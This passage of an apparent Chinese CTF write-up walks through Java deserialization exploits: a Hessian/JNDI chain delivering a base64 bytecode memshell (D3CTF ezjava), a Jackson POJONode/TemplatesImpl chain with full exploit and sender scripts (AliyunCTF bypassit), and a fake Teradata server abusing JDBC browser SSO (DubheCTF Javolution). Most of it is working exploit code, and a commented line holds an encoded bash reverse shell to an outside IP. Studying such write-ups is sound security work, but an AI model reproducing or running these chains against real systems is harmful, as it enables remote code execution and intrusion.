lhoMEwzSmxjWFZsYzNRdlVtVnhkV1Z6ZEVGMGRISnBZblYwWlhNN0FRQTViM0puTDNOd2NtbHVaMlp5WVcxbGQyOXlheTkzWldJdlkyOXVkR1Y0ZEM5eVpYRjFaWE4wTDFKbGNYVmxjM1JCZEhSeWFXSjFkR1Z6QVFBTVoyVjBRWFIwY21saWRYUmxBUUFuS0V4cVlYWmhMMnhoYm1jdlUzUnlhVzVuTzBrcFRHcGhkbUV2YkdGdVp5OVBZbXBsWTNRN0FRQUhaMlYwUW1WaGJnRUFKU2hNYW1GMllTOXNZVzVuTDBOc1lYTnpPeWxNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHNCQUE5cVlYWmhMMnhoYm1jdlEyeGhjM01CQUJCblpYUkVaV05zWVhKbFpFWnBaV3hrQVFBdEtFeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bE1hbUYyWVM5c1lXNW5MM0psWm14bFkzUXZSbWxsYkdRN0FRQVBjSEpwYm5SVGRHRmphMVJ5WVdObEFRQU5jMlYwUVdOalpYTnphV0pzWlFFQUJDaGFLVllCQUFOblpYUUJBQ1lvVEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3S1V4cVlYWmhMMnhoYm1jdlQySnFaV04wT3dFQUEyRmtaQUFoQURzQVB3QUJBRUFBQVFBSkFFRUFRZ0FBQUFnQUFRQkRBRVFBQVFCRkFBQUFMd0FCQUFFQUFBQUZLcmNBQWJFQUFBQUNBRVlBQUFBR0FBRUFBQUFaQUVjQUFBQU1BQUVBQUFBRkFFZ0FTUUFBQUFrQVNnQkxBQUlBUlFBQUFJWUFBZ0FFQUFBQUhCSUNUQ3JHQUJZU0E3Z0FCRTBzS3JZQUJVNHRFZ0syQUFaTUs3QUFBQUFEQUVZQUFBQWFBQVlBQUFBekFBTUFOUUFIQURjQURRQTVBQk1BT3dBYUFEOEFSd0FBQUNvQUJBQU5BQTBBVEFCTkFBSUFFd0FIQUU0QVR3QURBQUFBSEFCUUFGRUFBQUFEQUJrQVVnQlJBQUVBVXdBQUFBZ0FBZndBR2djQVZBQlZBQUFBQlFFQVVBQUFBQUVBVmdCWEFBTUFSUUFBQVpRQUF3QUpBQUFBc2JnQUJ4SUl0Z0FKdGdBS09nVzdBQXRaR1FXM0FBd1NEYllBRGpvR0dRYTJBQStaQUFzWkJyWUFFS2NBQlJJQ09nZXlBQkVaQjdZQUVyc0FFMW0zQUJRU0ZiWUFGcmdBRnhrSHRnQVl0Z0FadGdBV0VocTJBQmEyQUJzNkJDdTVBQndCQUJJZHRnQWVtUUJIdXdBTFdSa0V0d0FmRWcyMkFBNjJBQkE2Q0N3U0lCSWh1UUFpQXdBc3VRQWpBUUFaQ0xZQUpDeTVBQ01CQUxZQUpTeTVBQ01CQUxZQUpySUFKd1Jnc3dBbkE2d0VyQUFBQUFNQVJnQUFBRG9BRGdBQUFFc0FEUUJNQUIwQVRRQXhBRkFBT1FCVEFGMEFWUUJyQUZZQWZnQllBSWdBV1FDVEFGb0FuQUJiQUtVQVhBQ3RBRjBBcndCZ0FFY0FBQUJjQUFrQWZnQXhBRmdBVVFBSUFBQUFzUUJJQUVrQUFBQUFBTEVBV1FCYUFBRUFBQUN4QUZzQVhBQUNBQUFBc1FCZEFGNEFBd0JkQUZRQVh3QlJBQVFBRFFDa0FHQUFZUUFGQUIwQWxBQmlBR01BQmdBeEFJQUFaQUJSQUFjQVV3QUFBQzhBQS80QUxRQUhBR1VIQUdaQkJ3QlUvd0IvQUFnSEFHY0hBR2dIQUdrSEFHb0hBRlFIQUdVSEFHWUhBRlFBQUFCckFBQUFCQUFCQUd3QVZRQUFBQTBEQUZrQUFBQmJBQUFBWFFBQUFBRUFiUUJ1QUFNQVJRQUFBR0FBQlFBRkFBQUFDaW9yTEMwWkJMY0FLTEVBQUFBQ0FFWUFBQUFLQUFJQUFBQmxBQWtBWmdCSEFBQUFOQUFGQUFBQUNnQklBRWtBQUFBQUFBb0FXUUJhQUFFQUFBQUtBRnNBWEFBQ0FBQUFDZ0JkQUY0QUF3QUFBQW9BYndCd0FBUUFhd0FBQUFRQUFRQnNBRlVBQUFBUkJBQlpBQUFBV3dBQUFGMEFBQUJ2QUFBQUFRQnhBSElBQXdCRkFBQUFZQUFGQUFVQUFBQUtLaXNzTFJrRXR3QXBzUUFBQUFJQVJnQUFBQW9BQWdBQUFHb0FDUUJyQUVjQUFBQTBBQVVBQUFBS0FFZ0FTUUFBQUFBQUNnQlpBRm9BQVFBQUFBb0FXd0JjQUFJQUFBQUtBRjBBWGdBREFBQUFDZ0J6QUhRQUJBQnJBQUFBQkFBQkFHd0FWUUFBQUJFRUFGa0FBQUJiQUFBQVhRQUFBSE1BQUFBQkFIVUFkZ0FEQUVVQUFBQS9BQUFBQXdBQUFBR3hBQUFBQWdCR0FBQUFCZ0FCQUFBQWNBQkhBQUFBSUFBREFBQUFBUUJJQUVrQUFBQUFBQUVBZHdCNEFBRUFBQUFCQUhrQWVnQUNBR3NBQUFBRUFBRUFld0JWQUFBQUNRSUFkd0FBQUhrQUFBQUJBSFVBZkFBREFFVUFBQUJKQUFBQUJBQUFBQUd4QUFBQUFnQkdBQUFBQmdBQkFBQUFkUUJIQUFBQUtnQUVBQUFBQVFCSUFFa0FBQUFBQUFFQWR3QjRBQUVBQUFBQkFIMEFmZ0FDQUFBQUFRQmRBSDhBQXdCckFBQUFCQUFCQUhzQVZRQUFBQTBEQUhjQUFBQjlBQUFBWFFBQUFBZ0FnQUJFQUFFQVJRQUFBWEVBQXdBRkFBQUFiZ1N6QUNleUFCRVNLcllBRXJnQUt4SXNBN2tBTFFNQXdBQXVTeW9TTDdrQU1BSUF3QUF2VEFGTkVqRVNNcllBTTAybkFBaE9MYllBTlN3RXRnQTJBVTRzSzdZQU44QUFPRTZuQUFvNkJCa0V0Z0E2dXdBN1diY0FQRG9FTFJrRXVRQTlBZ0JYc2dBUkVqNjJBQkt4QUFJQUtRQXhBRFFBTkFCQUFFa0FUQUE1QUFRQVJnQUFBRTRBRXdBQUFCc0FCQUFkQUF3QUhnQWJBQjhBSndBZ0FDa0FJZ0F4QUNVQU5BQWpBRFVBSkFBNUFDWUFQZ0FuQUVBQUtRQkpBQ3dBVEFBcUFFNEFLd0JUQUMwQVhBQXVBR1VBTHdCdEFEQUFSd0FBQUVnQUJ3QTFBQVFBZ1FDQ0FBTUFUZ0FGQUlFQWd3QUVBQnNBVWdDRUFJVUFBQUFuQUVZQWhnQ0hBQUVBS1FCRUFJZ0FpUUFDQUVBQUxRQ0tBSXNBQXdCY0FCRUFqQUJKQUFRQWpRQUFBQXdBQVFCQUFDMEFpZ0NPQUFNQVV3QUFBQzBBQlA4QU5BQURCd0NQQndDUUJ3Q1JBQUVIQUpJRS93QVNBQVFIQUk4SEFKQUhBSkVIQUpNQUFRY0FsQVlBQWdDVkFBQUFBZ0NXQVEwQUFBQUtBQUVBdGdDeUFRd0FDWEIwQUFoQ2IyOW5hWEJ2Y0hCM0FRQjRlQT09In0BAKN7ImNvZGUiOiIyMDAiLCJtZXNzYWdlIjoick8wQUJYTnlBQk5xWVhaaExuVjBhV3d1UVhKeVlYbE1hWE4wZUlIU0habkhZWjBEQUFGSkFBUnphWHBsZUhBQUFBQUJkd1FBQUFBQmRBQXBiM0puTG1waWIzTnpMbkJ5YjNoNUxtVnFZaTVvWVc1a2JHVXVTRzl0WlVoaGJtUnNaVWx0Y0d4NCJ9AQASL2JsYWNrbGlzdC9qZGsvZ2V0BwC7DADXANgMADkA1gEADENvbnRlbnQtVHlwZQEAHmFwcGxpY2F0aW9uL2pzb247Y2hhcnNldD1VVEYtOAcAvQwA2QDaDADbANwHAN0MAN4A1gwA3wA6DADgADoMAFsAXAwAXwBgAQAGc3RhYXJ0BwDhDADiAOMBADlvcmcuc3ByaW5nZnJhbWV3b3JrLndlYi5zZXJ2bGV0LkRpc3BhdGNoZXJTZXJ2bGV0LkNPTlRFWFQHAOQMAOUA5gEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0AQBSb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL2Fubm90YXRpb24vUmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwwA5wDoAQA+b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9oYW5kbGVyL0Fic3RyYWN0SGFuZGxlck1hcHBpbmcBABNhZGFwdGVkSW50ZXJjZXB0b3JzBwDpDADqAOsBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24MAOwAOgcAvwwA7QDuDADvAPABAA5qYXZhL3V0aWwvTGlzdAEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uAQAVb3JnL2V4YW1wbGUvTWVtc2hlbGwxDADxANgBAAJvawEAEGphdmEvbGFuZy9PYmplY3QBADJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L0hhbmRsZXJJbnRlcmNlcHRvcgEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABBqYXZhL2xhbmcvU3RyaW5nAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAEKEkpVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQANZ2V0UmVxdWVzdFVSSQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEACWFkZEhlYWRlcgEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspVgEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEABXdyaXRlAQAFZmx1c2gBAAVjbG9zZQEAPG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0Q29udGV4dEhvbGRlcgEAGGN1cnJlbnRSZXF1ZXN0QXR0cmlidXRlcwEAPSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlczsBADlvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXMBAAxnZXRBdHRyaWJ1dGUBACcoTGphdmEvbGFuZy9TdHJpbmc7SSlMamF2YS9sYW5nL09iamVjdDsBAAdnZXRCZWFuAQAlKExqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD2phdmEvbGFuZy9DbGFzcwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA9wcmludFN0YWNrVHJhY2UBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQADYWRkACEAMQA1AAEANgABAAkANwA4AAAABQABADkAOgABADsAAAAvAAEAAQAAAAUqtwABsQAAAAIAPAAAAAYAAQAAABkAPQAAAAwAAQAAAAUAPgA/AAAAAQBAAEEAAwA7AAABrwADAAkAAACtsgACsgADtgAEuAAFEga2AAe2AAg6BbsACVkZBbcAChILtgAMOgYZBrYADZkACxkGtgAOpwAFEg86B7IAAiu5ABABALYAEbIAAwVwmgAKEhI6BKcABxITOgQruQAQAQASFLYAFZkAR7sACVkZBLcAFhILtgAMtgAOOggsEhcSGLkAGQMALLkAGgEAGQi2ABssuQAaAQC2ABwsuQAaAQC2AB2yAAMEYLMAAwOsBKwAAAADADwAAABGABEAAAA3AAkAOAAWADkAJgA6ADoAOwBGAD0ATgA+AFUAQQBZAEQAZwBFAHoARgCEAEcAjwBIAJgASQChAEoAqQBLAKsATgA9AAAAZgAKAFIAAwBCAEMABAB6ADEARABDAAgAAACtAD4APwAAAAAArQBFAEYAAQAAAK0ARwBIAAIAAACtAEkASgADAFkAVABCAEMABAAWAJcASwBMAAUAJgCHAE0ATgAGADoAcwBPAEMABwBQAAAAOAAF/gA2AAcAUQcAUkEHAFP8ABwHAFP/AAMACAcAVAcAVQcAVgcAVwcAUwcAUQcAUgcAUwAA+wBRAFgAAAAEAAEAWQBaAAAADQMARQAAAEcAAABJAAAAAQBbAFwAAwA7AAAAYAAFAAUAAAAKKissLRkEtwAesQAAAAIAPAAAAAoAAgAAAFMACQBUAD0AAAA0AAUAAAAKAD4APwAAAAAACgBFAEYAAQAAAAoARwBIAAIAAAAKAEkASgADAAAACgBdAF4ABABYAAAABAABAFkAWgAAABEEAEUAAABHAAAASQAAAF0AAAABAF8AYAADADsAAABgAAUABQAAAAoqKywtGQS3AB+xAAAAAgA8AAAACgACAAAAWAAJAFkAPQAAADQABQAAAAoAPgA/AAAAAAAKAEUARgABAAAACgBHAEgAAgAAAAoASQBKAAMAAAAKAGEAYgAEAFgAAAAEAAEAWQBaAAAAEQQARQAAAEcAAABJAAAAYQAAAAgAYwA6AAEAOwAAAXEAAwAFAAAAbgSzAAOyAAISILYAEbgAIRIiA7kAIwMAwAAkSyoSJbkAJgIAwAAlTAFNEicSKLYAKU2nAAhOLbYAKywEtgAsAU4sK7YALcAALk6nAAo6BBkEtgAwuwAxWbcAMjoELRkEuQAzAgBXsgACEjS2ABGxAAIAKQAxADQAKgBAAEkATAAvAAQAPAAAAE4AEwAAABsABAAdAAwAHgAbAB8AJwAgACkAIgAxACUANAAjADUAJAA5ACYAPgAnAEAAKQBJACwATAAqAE4AKwBTAC0AXAAuAGUALwBtADAAPQAAAEgABwA1AAQAZABlAAMATgAFAGQAZgAEABsAUgBnAGgAAAAnAEYAaQBqAAEAKQBEAGsAbAACAEAALQBtAG4AAwBcABEAbwA/AAQAcAAAAAwAAQBAAC0AbQBxAAMAUAAAAC0ABP8ANAADBwByBwBzBwB0AAEHAHUE/wASAAQHAHIHAHMHAHQHAHYAAQcAdwYAAQB4AAAAAgB5';var Thread = Java.type('java.lang.Thread');var tt=Thread.currentThread().getContextClassLoader();var b64 = Java.type('sun.misc.BASE64Decoder');var b=new b64().decodeBuffer(str);var byteArray = Java.type('byte[]');var int = Java.type('int');var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod('defineClass',byteArray.class,int.class,int.class);defineClassMethod.setAccessible(true);var cc = defineClassMethod.invoke(tt,b,0,b.length);cc.newInstance();";
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "pupi1=eval"));
resourceRef.add(new StringRefAddr("pupi1", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\""+ x +"\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);

Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
ccCons.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();

cpe.setResolvedObj(resourceRef);
DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());


// jdk.nashorn.internal.objects.NativeString str = new jdk.nashorn.internal.objects.NativeString();

JSONObject jsonObject = new JSONObject();
jsonObject.put("Pupi1",ctx);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
baos.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(jsonObject);
out.flushBuffer();

ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
//input.readObject();
String ret = Base64.getEncoder().encodeToString(baos.toByteArray());
System.out.println(ret);

}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
//Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
//writeReplaceMethod.setAccessible(true);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}

public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

image-20240513202340461

image-20240513202416311

本题参考:

Hessian CVE-2021-43297 & D3CTF 2023 ezjava - X1r0z Blog (exp10it.io)

d3ctf-ezjava | Pupi1’s Blog (pupil857.github.io)

[D3CTF x AntCTF 2023 Web 赛后复现 - Boogiepop Doesn’t Laugh (boogipop.com)](https://boogipop.com/2023/05/06/D3CTF x AntCTF 2023 Web 赛后复现/#ezjava)

JAVA反序列化之C3P0不出网利用 (qq.com)

Exploiting JNDI Injections in Java | Veracode blog

JNDI-RMI 注入的EL 绕过思路分析 (zsxq.com)

探究bypass JNDI限制及利用链扩展 - FreeBuf网络安全行业门户

探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖 (tttang.com)

AliyunCTF2023bypassit

分析

屏幕截图 2024-05-14 171518

一个简单粗暴的反序列化入口的路由。

以及snakeyaml依赖,在反序列化时会触发任意setter方法。与FastJson有异曲同工之妙。但是是直接JDK反序列化,怎么才能触发load方法?

无语了jackson依赖才能打,为啥一种钻牛角尖???

没了解过jackson先学习一下。

题目是2.13.3版本,Spring Boot 默认带了 Jackson 包

之前FastJson的templateImpl利用链相似的地方在于Jackson 里的 POJONode 类也会触发getter方法。然后入口也是是BadAttributeValueExpException的readObjet方法会调用toString,

com.fasterxml.jackson.databind.ser.BeanPropertyWriter#serializeAsField方法会通过反射去执行

image-20240515192824164

从BadAttributeValueExpException到POJONode的调用堆栈。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind)
serialize:115, POJONode (com.fasterxml.jackson.databind.node)
serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serialize:1518, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)
_writeValueAndClose:1219, ObjectWriter (com.fasterxml.jackson.databind)
writeValueAsString:1086, ObjectWriter (com.fasterxml.jackson.databind)
nodeToString:30, InternalNodeMapper (com.fasterxml.jackson.databind.node)
toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)
readObject:86, BadAttributeValueExpException (javax.management)

注意2.13.3版本

1
2
3
4
5
// 去除 writeReplace 方法, 避免 Payload 生成阶段触发链子
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();

从 Jackson 链的进化到高版本 JNDI 注入的转机 (harmless.blue)

题解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
package bypassit;



import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import com.fasterxml.jackson.databind.node.POJONode;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class exp {
public static void main(String[] args) throws Exception{
CtClass ctClass =ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(ctMethod);
ctClass.toClass();

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{getTemplates()});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
POJONode node = new POJONode(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val,"val",node);
serialize(val);
unserialize();
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] getTemplates() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("Test");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
/*
String block = "Runtime.getRuntime().exec(\"bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTAuMTU4LjMzLjg5LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}'\");";
*/
String block = "Runtime.getRuntime().exec(\"Calc\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}

public static void serialize(Object o) throws Exception{
FileOutputStream fos = new FileOutputStream("object.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(o);

System.out.println("序列化完成...");
}
public static void unserialize() throws Exception{
FileInputStream fis = new FileInputStream("object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
//反序列化执行readObject()方法
Object o = ois.readObject();
ois.close();
fis.close();

System.out.println("反序列化完成...");
}

}

题目没有提供base64解码,直接将反序列化的内容输出为文件并且用python传来避免错误

1
2
3
4
5
import requests
url = "http://127.0.0.1:8080/bypassit"
data = open("object.ser", "rb")
res = requests.post(url, data=data)
print(res.text)

总结

这个打tomcat的打法也被修复了,具体见65736 – Improve org.apache.naming.factory.BeanFactory to mitigate JNDI injection

image-20240517133445261

DubheCTF2024Javalotion

分析

首先来看一下题目的源码

/pal路由下是本题的关键所在,就是一个game,要打败帕鲁boss升级才能触发反序列化

org.dubhe.javolution.service.PalService#genPal方法会调用PalUtils.base64Deserialize方法来base64解码并且反序列化。

image-20240516203226654

/pal/cheat路由的post代码又调用了genPal。

接下来具体分析。

JDK17后TemplatesImpl被移除了。这个ppt的第65页有绕过方法。AS-23-Yuanzhen-A-new-attack-interface-in-Java.pdf (blackhat.com)
browser通过启用OpenID Connect (OIDC)和JDBC URL参数的Teradata服务器配置利用基于浏览器的SSO。client OIDC处理要求服务器确认已配置OIDC,这允许JDBC驱动程序在启用OIDC的任何Teradata服务器上使用基于浏览器的SSO代码路径。

Teradata

SSO的全程为Single Sign On,翻译成中文为单点登陆。在多个应用系统中,只需要登录一次,就可以访问其他相互信任的应用系统。

这里直接拿脚本来做简单的复现。

一个fake Teradata服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import asyncore
import logging
import socket
import struct

class TeradataRequestHandler(asyncore.dispatcher_with_send):
def __init__(self, sock, addr, url):
asyncore.dispatcher_with_send.__init__(self, sock=sock)
self.addr = addr
self.packet_to_send = (bytes.fromhex('03020a0000070000')+
struct.pack(">H",len(url)+899)+
bytes.fromhex('000000000000000000000000000000000000000000010000000005ff0000000000000000000000000000002b024e000003e8000003e80078000177ff0000000200000001ff000004be00555446313620202020202020202020202020202020202020202020202020bf00555446382020202020202020202020202020202020202020202020202020ff00415343494920202020202020202020202020202020202020202020202020c0004542434449432020202020202020202020202020202020202020202020204e0100010001540007008c310000640000fa00000f4240000000007cff06000070000000fff80000000100000000bf000000100000ffff000008000000008000000040000009e7000fa0000000f23000007918000000260000fa000000fa000000fa0000007d0000007d000000fa000000fa00000009e7000000060000000600000006000003e8000fa00000fffc00000fffb40000fa000009000101000a001c01010101010101020100010100010101010201010001010101010102000b002201010101010001010101010102010101010101010001010101010101010001010000000c0006010001020101000d003e31372e32302e30332e30392020202020202020202020202020202020202031372e32302e30332e3039202020202020202020202020202020202020202020000e000403030203000f00280100000100010100000101000001000100010001000000000000000000000001010001000100000100100014000000000000000000008002000000000000000000120020010101010101010100000000000000000000000000000000000000000000000000130008010101000000000000060002014900a5')+
struct.pack(">H",len(url)+87)+
bytes.fromhex('0000000100010005010002000811140309000300040004000600210006000400050004000700040008000400090004000a000501000b000501000c000501000e0004001000060100000f')+
struct.pack(">H",len(url)+11)+
bytes.fromhex('000372636500')+
struct.pack("B",len(url))+
url.encode("ascii")+
bytes.fromhex('00a70031000000010000000d2b06010401813f0187740101090010000c00000003000000010011000c000000010000001400a70024000000010000000c2b06010401813f01877401140011000c000000010000004600a7002100000001000000092a864886f7120102020011000c000000010000002800a7001e00000001000000062b06010505020011000c000000010000004100a70025000000010000000d2b0601040181e01a04822e01040011000c000000010000001e00a70025000000010000000d2b0601040181e01a04822e01030011000c000000010000000a'))
self.ibuffer = []

def handle_read(self):
data = self.recv(8192)
if data:
logging.info('[+]Data received: {}{}'.format(data,"\r\n"))
logging.info('[+]Data sending: {}{}'.format(self.packet_to_send,"\r\n"))
self.send(self.packet_to_send)

def handle_close(self):
logging.info('[+]Connection closed: {}'.format(self.addr))
self.close()

class TeradataServer(asyncore.dispatcher):
def __init__(self, host, port, url):
asyncore.dispatcher.__init__(self)
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
self.bind((host, port))
self.listen(5)
logging.info('[+]Listening on {}:{}'.format(host, port))
self.url = url

def handle_accept(self):
pair = self.accept()
if pair is not None:
sock, addr = pair
logging.info('[+]Incoming connection from {}'.format(repr(addr)))
handler = TeradataRequestHandler(sock, addr, self.url)

if __name__ == '__main__':
logging.basicConfig(level=logging.INFO)
server = TeradataServer('0.0.0.0', 10250, 'http://127.0.0.1:7777/')
asyncore.loop()

使用flask起一个SSO的浏览器

1
2
3
4
5
6
7
8
9
10
11
from flask import Flask

app = Flask(__name__)

@app.route("/")
@app.route("/.well-known/openid-configuration")
def index():
return "{\"authorization_endpoint\": \"1\", \"token_endpoint\": \"1\"}"

if __name__ == "__main__":
app.run('0.0.0.0',port=7777)

一个获取jdbc的demo

1
2
3
4
5
6
7
8
9
10
import java.sql.DriverManager;
import java.sql.SQLException;

public class TeradataDemo {
public static void main(String[] args) throws SQLException {
DriverManager.registerDriver(new com.teradata.jdbc.TeraDriver());
// Get Connection
DriverManager.getConnection("jdbc:teradata://127.0.0.1/DBS_PORT=10250,LOGMECH=BROWSER,BROWSER='Calc',TYPE=DEFAULT,COP=OFF,TMODE=TERA,LOG=DEBUG");
}
}

成功执行命令

image-20240516194159580

